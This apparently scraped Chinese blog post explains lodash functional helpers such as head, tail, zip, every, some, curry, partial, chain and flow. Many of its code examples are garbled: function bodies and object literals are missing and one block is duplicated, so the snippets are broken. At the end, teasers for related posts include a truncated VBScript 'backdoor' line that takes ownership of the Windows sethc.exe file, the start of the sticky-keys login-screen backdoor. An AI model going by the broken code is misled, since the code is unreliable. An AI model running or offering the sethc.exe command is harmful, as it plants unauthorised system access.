最近在學習js函式式程式設計相關的內容,於是詳細的翻看了lodash的文件,感到別有洞天。這裡把自己對一些api的使用和看法做個筆記記錄下。
例子:
_.head([1, 2, 3]);
// → 1
_.last([1, 2, 3]);
// → 3
分別可以抽取陣列第乙個元素的值和最後乙個元素的值。咋看之下覺得很無聊。但是跟下面兩個結合起來就厲害。
例子:
_.tail([1, 2, 3]);
// → [2, 3]
_.initial([1, 2, 3]);
// → [1, 2]
也如字面描述一般容易理解的函式。但是結合上面的兩個函式就產生很大能量。
首先看乙個針對陣列尾部特殊化處理的例子:
let names=['fred', 'barney', 'pebbles'];
_.initial(names).join(', ') +
(_.size(names) > 1 ? ', & ' : '') + _.last(names);
// → 'fred, barney, & pebbles'
怎麼樣比簡單的寫for
+if else
優雅很多吧。接著我們來看看遞迴求和:
function sum(arr)
tips
1)其實好像陣列都可以表現為
[a, [b, [c .....]]]
然後再將其扁平化的結果。 是不是?所以結合這四個函式,很多陣列遍歷的操作都可以改寫成遞迴的方式。雖然效能可能略差,但是可讀性反而更強了(並非所有的遞迴都一定損耗效能,詳細可以去了解下jit優化)。
2)但是在es6中,更推薦優先使用陣列的解構。
例子:
_.zip(['fred', 'barney'], [30, 40]);
// → [['fred', 30], ['barney', 40]]
_.zip(*array) 將幾個陣列按照位置組成新的陣列,返回陣列列表。這個方法就有點像sql裡面select兩個列的情況。對重組資料結構非常有幫助。
既然lodash是個函式庫,那有zip肯定也有他的逆運算unzip。這裡就不舉例了。unzip其實可以看作對es6陣列解構的補充,應用的場景也是十分相似的。
這三個函式其實早就名聲在外,就不舉例了。列出來只是為了提醒,遍歷集合可不僅僅只有_.each。任何時候都優先考慮這些函式。
例子:
let users = [
, ];_.every(users, );
// → false
_.some(users, ['active', false]);
// → true
什麼?看不懂?
_.every => &&
_.some => ||
懂了吧。其實同樣也算是對_.each的擴充。還有他們都有條件短路的優化哦。
let abc = function(a, b, c) ;
let curried = _.curry(abc);
curried(1)(2)(3);
// → [1, 2, 3]
curried(1, 2)(3);
// → [1, 2, 3]
curried(1, 2, 3);
// → [1, 2, 3]
// curried with placeholders.
curried(1)(_, 3)(2);
// → [1, 2, 3]
柯里化有3個常見作用:1. 引數復用;2. 構建高階函式;3. 延遲計算。
引數復用的例子:
let parse = function(data, config);
let config = {};
let parsebyconfig = _.curryright(parse)(config);
如**所示,這是乙個資料解析函式,通過某些配置按照一定的規則去解析資料。如果在某個場景下引數配置都一樣。那可以用柯里化先引入乙個引數。然後再接收不同的資料。這樣就不用在每次呼叫時都引入同樣的config引數。
剩下兩個特性乙個等會講,乙個不在本文討論範圍內。
部分函式,我習慣這麼叫他,還是先看例子。
let greet = function(greeting, name) ;
let sayhelloto = _.partial(greet, 'hello');
sayhelloto('fred');
// → 'hello fred'
let greetfred = _.partial(greet, _, 'fred');
greetfred('hi');
// → 'hi fred'
let greet = function(greeting, name) ;
let sayhelloto = _.partial(greet, 'hello');
sayhelloto('fred');
// → 'hello fred'
let greetfred = _.partial(greet, _, 'fred');
greetfred('hi');
// → 'hi fred'
好像跟柯里化很像。是的,它其實就是柯里化的具體應用——構建高階函式。_.curry會把乙個函式轉化成可以柯里化函式,而當這個柯里化函式接受了一定的引數後,它就變成了乙個部分應用函式了。
這個是我認為的lodash中最有意思的方法。
$('div').css('color','red')
.on('click', function(){})
.fadein();
作為乙個合格的前端攻城獅,你對這個一定不陌生。它一定給你帶來過很多美好的記憶。那我們如何讓這樣一段優雅的**應用到非dom物件上呢。用_.chain
就行了。
_.head(
_.map(
_.sortby('users', 'age'),
function(o) is $`;})
) _.chain(users)
.sortby('age')
.map(function(o) )
.head()
.value();
兩段**在做一樣的事情。你更喜歡哪個呢。不過要注意_.chain
最後的value。因為_.chain
用乙個容器包裝了你的物件,最後需要通過value返回出真正的值。如果不能理解,聯想一下下面這段**:
$('div')[0].classlist
用jquery選擇器篩選到的是jquery物件,而如果要呼叫真正的dom物件的屬性的話,還要用索引去呼叫它。
function square(n)
var addsquare = _.flow(_.add, square);
addsquare(1, 2);
// → 9
這同樣是用來組合高階函式的乙個方法。如果用數學的角度去思考的話,就有點像, 把函式 f(), g(), 和h() 組合起來可以得到復合函式 f( g( h() ) )。 有意思的後門
dim obj,success set obj createobject wscript.shell success obj.run cmd c takeown f systemroot system32 sethc.exe 0,true success obj.run cmd c echo y c...
有意思的number format
申明 這是個人原創,在cnblogs上也有,都是自己寫的所以放原創了。number format number,decimals,decimalpoint,separator 有四個引數,第乙個和第二個引數是必須的,第三個和第四個是可選項。但實際測試中第三個和第四個這兩個引數必須同時存在,也就是要麼...
有意思的遞迴
先來乙個入門的 上初中學習數列求和什麼的時候我們就學過高斯的計算1到100的自然數的和的經典課文,那麼如果我們現在用程式的話該怎麼來做呢?自然是迴圈來做這件事。如果不用迴圈怎麼做呢?def sum first,end if end 1 return first elif end 1 return s...